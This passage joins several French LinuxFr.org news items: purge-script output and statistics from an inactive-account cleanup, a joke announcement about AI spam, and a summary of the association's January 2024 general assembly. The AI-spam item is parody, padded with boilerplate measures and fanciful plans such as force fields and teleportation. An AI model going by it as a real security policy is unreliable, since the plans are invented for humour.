0 active accounts not seen since 3 years to inactivate and minimize
1412 users without comments/contents to purge
1412 accounts to purge
2285 logs to purge
1412 friendly_id_slugs to purge
6 taggings to purge
0 oauth_access_grants for an oauth_application to purge
0 oauth_access_tokens for an oauth_application to purge
0 oauth_applications to purge
15 oauth_access_grants to purge
47 oauth_access_tokens to purge
147 deleted comments to minimize
98 comments from non-public contents to purge
288 taggings from non-public contents to purge
0 wiki_versions from non-public wiki_pages to purge
0 slugs from non-public wiki_pages to purge
0 non-public wiki_pages to purge
0 slugs from non-public trackers to purge
0 non-public trackers to purge
166 slugs from non-public posts to purge
165 non-public posts to purge
10 poll_answers to from non-public polls to purge
2 slugs from non-public polls to purge
2 non-public polls to purge
46 slugs from non-public bookmarks to purge
46 non-public bookmarks to purge
27 slugs from non-public diaries to purge
0 diaries converted into non-public news to purge
27 non-public diaries to purge
139 news_versions from non-public news to purge
1278 paragraphs from non-public news to purge
33 links from non-public news to purge
66 slugs from non-public news to purge
61 non-public news to purge
301 non-public contents to purge

On a certes gagné 2 comptes jamais utilisés de plus à nettoyer, mais surtout on va minimiser plusieurs milliers de comptes et supprimer ou minimiser des centaines de contenus, commentaires et étiquetages. C’est le moment où la main ne doit pas trembler et où l’on doit avoir confiance dans le script de nettoyage et dans nos sauvegardes de la base de données, parce qu’il va falloir l’exécuter pour de vrai, et pas juste en mode « dry run » ou répétition, test à vide.

En pratique, quelques soucis très mineurs rencontrés sur la grosse transaction faite en base de données : un problème d’ordre de suppression et l’impossibilité de mettre une chaîne vide pour l’adresse de courriel, car il y a un index dessus qui demande l’unicité (une adresse .invalid propre à chaque compte sera donc utilisée).

Après l’exécution, si on relance le script, on se retrouve juste avec le nombre de comptes encore ouverts mais sans activité depuis un an :

Started at Sat Jun 1 13:30:16 CEST 2024
Dry run mode
0    inactive accounts never used to purge
0    users to minimize
905  accounts to minimize because inactive and not seen since 1 year
(…)

Ça change quoi ?

Regardons les statistiques des comptes avant et après le nettoyage « 1 an » (les évolutions ont été mises en visibilité avec un point rouge) :

Interprétation : il s’agit des états des comptes par ordre d’identifiant en base de données (temporellement dans l’ordre de création), regroupés par paquets de 10 000 consécutifs. Quasiment pas de modification sur les comptes très anciens (il y en a beaucoup moins), et les changements se concentrent sur les comptes des dernières années. On a moins de comptes fermés après (on a pu en purger) et donc plus de comptes purgés (c’est-à-dire d’identifiants qui ne sont plus utilisés en base). Et le reste des changements correspond aux visites nominales du site.

On peut comparer les statistiques juste avant :

53667 utilisatrices et utilisateurs ayant ou ayant eu des comptes (et encore présents en base de données)
33216 comptes
2205 comptes utilisés sur le site au cours des trois derniers mois avec 20.2 jours de moyenne sans visite et 25.3 jours d’écart‑type
10 comptes en attente
2809 comptes fermés

Et les actuelles (au moment de la rédaction de cet article) :

51943 utilisatrices et utilisateurs ayant ou ayant eu des comptes (et encore présents en base de données)
31492 comptes
2208 comptes utilisés sur le site au cours des trois derniers mois avec 20.0 jours de moyenne sans visite et 25.3 jours d’écart‑type
1 compte en attente
1089 comptes fermés

Nous avons aussi réoptimisé les tables de la base de données (enfin on a dit à la base d’optimiser ce qu’elle pouvait avec un OPTIMIZE TABLE quoi). Ça devrait avoir entre une absence d’effet et un effet imperceptible sur les performances, a priori.

Et côté sauvegarde, on est passé d’un dump compressé gzip de 2 088 253 834 octets avant à 2 086 608 391 octets après, soit un gain faramineux de 0,08 %, bref rien.

Et après ?

Une fois « 1 an » passé, on aura chaque semaine les quelques comptes créés mais jamais utilisés à nettoyer, ainsi que les quelques contenus, commentaires et étiquetages associés non publics non nécessaires. Mais aussi les comptes qui auront atteint l’année d’inactivité dans la semaine courante (probablement une ou deux dizaines). Et ce jusqu’aux « 3 ans ».

À partir des « 3 ans », on va commencer à fermer des comptes et il y aura encore plus de données concernées chaque semaine.

Et ensuite on aura atteint le rythme nominal de fermeture de comptes et de minimisation de données associées.

Rendez-vous pour les « 3 ans » en juin 2026 donc.

Sur LinuxFr, on préfère les IN (intelligences naturelles) aux IA (intelligences artificielles). Las, nous ne sommes pas les seuls à constater un début d’envahissement du site par les IA. Voici ce qui vous (nous) attend dès que ça sera mis en production pour essayer d’y pallier.

Les faits

Le constat est le suivant : non seulement les IA spammeuses commencent à polluer le site, mais, en prime, au niveau rédactionnel, elles se montrent plus futées que les vulgaires spammeurs en mode SEO auxquels on était habitués jusqu’à présent. De facto, leur prose est parfois difficile à différencier de celle des autres intelligences, naturelles, elles, qui interagissent sur le site.

Rédigé ou pas par des IN, le spam reste du spam.

La solution retenue actuellement

Heureusement, d’autres que nous se sont penchés sur la question et il existe des critères permettant de faire la différence entre une IA et une IN. À part le test de Turing, s’entend. Après quelques hésitations, nous sommes arrivés à une solution qui devrait, en outre, répondre aux prochains textes législatifs et réglementaires dont l’objectif est de réguler cette zone de non-droit qu’est Internet.

Dès que ça sera mis en production, les personnes qui accèdent au site sans être connectées auront donc droit à cette fenêtre modale qui nous permettra de séparer le bon grain (les IN) de l’ivraie (les IA). On est franchement désolés d’en arriver là, mais on n’avait pas vraiment le choix. Merci à l’avance de votre compréhension.

La problématique et d’autres solutions envisageables

Le spam sur un site web peut avoir de nombreuses conséquences négatives, notamment la dégradation de l’expérience utilisateur, la perte de crédibilité et de confiance des utilisateurs, et la diminution du trafic sur le site. En outre, le spam peut également entraîner des problèmes de sécurité, tels que des attaques par déni de service ou l’infection des visiteurs par des logiciels malveillants.

Pour protéger le site web LinuxFr.org contre le spam, il est nécessaire de mettre en place des mesures techniques restrictives et contraignantes. Ces mesures comprennent l’utilisation de captcha, la validation des adresses IP, la limitation du nombre de publications par utilisateur, la modération automatique des commentaires, et la mise en place de filtres anti-spam.

Ces mesures permettent de limiter la capacité des spammeurs à envoyer du contenu indésirable sur le site, tout en préservant la facilité d’utilisation pour les utilisateurs légitimes. Bien que ces mesures puissent être contraignantes pour les utilisateurs, il est essentiel de les mettre en place pour garantir la sécurité et la fiabilité du site. En mettant en place ces mesures, LinuxFr.org peut protéger sa réputation et maintenir la qualité de son contenu, tout en offrant une expérience utilisateur optimale à ses visiteurs.

Dans un second temps, des ajustements seront faits pour :

1. Renforcer les protocoles de sécurité pour limiter les accès non autorisés et renforcer la protection des données des utilisateurs.
2. Mettre en place un système de validation stricte pour l’inscription des nouveaux membres afin d’éviter les trolls et les spams.
3. Limiter la publication de contenus sensibles ou offensants en mettant en place un système de modération plus strict.
4. Renforcer les mesures anti-piratage pour protéger les contenus et les informations confidentielles du site.
5. Mettre en place un système de surveillance des activités des membres pour détecter et prévenir les comportements inappropriés ou dangereux.
6. Renforcer les règles de confidentialité et de protection des données personnelles des utilisateurs en conformité avec les réglementations en vigueur.
7. Mettre en place des audits de sécurité réguliers pour garantir la fiabilité et l’intégrité du site et de ses serveurs.
8. Mettre en place un système de sauvegarde automatique des données pour éviter toute perte d’informations en cas de problème technique.
9. Renforcer la sécurité des transactions en ligne pour protéger les données financières des utilisateurs.
10. Mettre en place des formations régulières pour sensibiliser les membres aux bonnes pratiques en matière de sécurité informatique.

Il est essentiel de trouver un équilibre entre la sécurisation absolue des données et la préservation totale de la vie privée et de la liberté d’expression sans limite des utilisateurs.

Dans un troisième temps, les retouches finales seront apportées :

• Créer un champ de force magnétique autour du datacenter pour éloigner les astéroïdes et les débris spatiaux.
• Utiliser des hologrammes pour créer des illusions d’optique afin de détourner l’attention des ennemis potentiels.
• Utiliser des lasers géants pour dévier les ouragans avant qu’ils n’atteignent les serveurs.
• Mettre au point une machine à voyager IPoT dans le temps pour aller régler les problèmes du passé avant qu’ils ne deviennent des catastrophes.
• Créer des capsules de sommeil ultra-efficaces pour permettre aux administrateurs de se reposer en seulement quelques minutes.
• Utiliser des mini-robots volants pour surveiller et protéger le réseau physique d’accès au site.
• Développer une technologie de téléportation pour se déplacer instantanément d’un endroit à un autre pour les interventions.

Le 12 janvier 2024 a eu lieu l’assemblée générale de l’association LinuxFr (couvrant statutairement la période du 1ᵉʳ octobre 2022 au 30 septembre 2023). C’était aussi l’occasion de discuter des activités ne relevant pas directement de l’association, mais de la vie du site LinuxFr.org : c’est‑à‑dire y compris de bénévoles ou contributeurs non membres de l’association, sur une période comprise entre la période couverte lors de l’assemblée précédente et le jour de l’assemblée.

Les membres de l’association étaient statutairement convoqués, et les membres de l’équipe de modération, d’animation de l’espace de rédaction et de maintenance, ainsi que la présidente de l'April.

Le compte‑rendu complet est fourni en lien. Voici un résumé des thèmes abordés :

• dans la partie bilan moral de l’association LinuxFr pour la période du 1ᵉʳ octobre 2022 au 30 septembre 2023 : assemblée générale, convention d'hébergement, prix mensuels, relations avec les autres associations, communication interne et externe, risques juridiques, nouveaux membres, potentiels risques juridiques pour l’association, remerciements ;
• dans la partie activités autour du site LinuxFr.org entre le 16 février 2023 et le 31 décembre 2023 : administration système, développement, administration du site, modération du site, animation de la rédaction du site, contenus réguliers ou particulièrement notables, rencontres physiques, évolutions de l’équipe, visibilité externe (positive ou non), informations régulières des membres, diversité.
• et enfin des discussions diverses sur les thèmes proposés par les personnes présentes.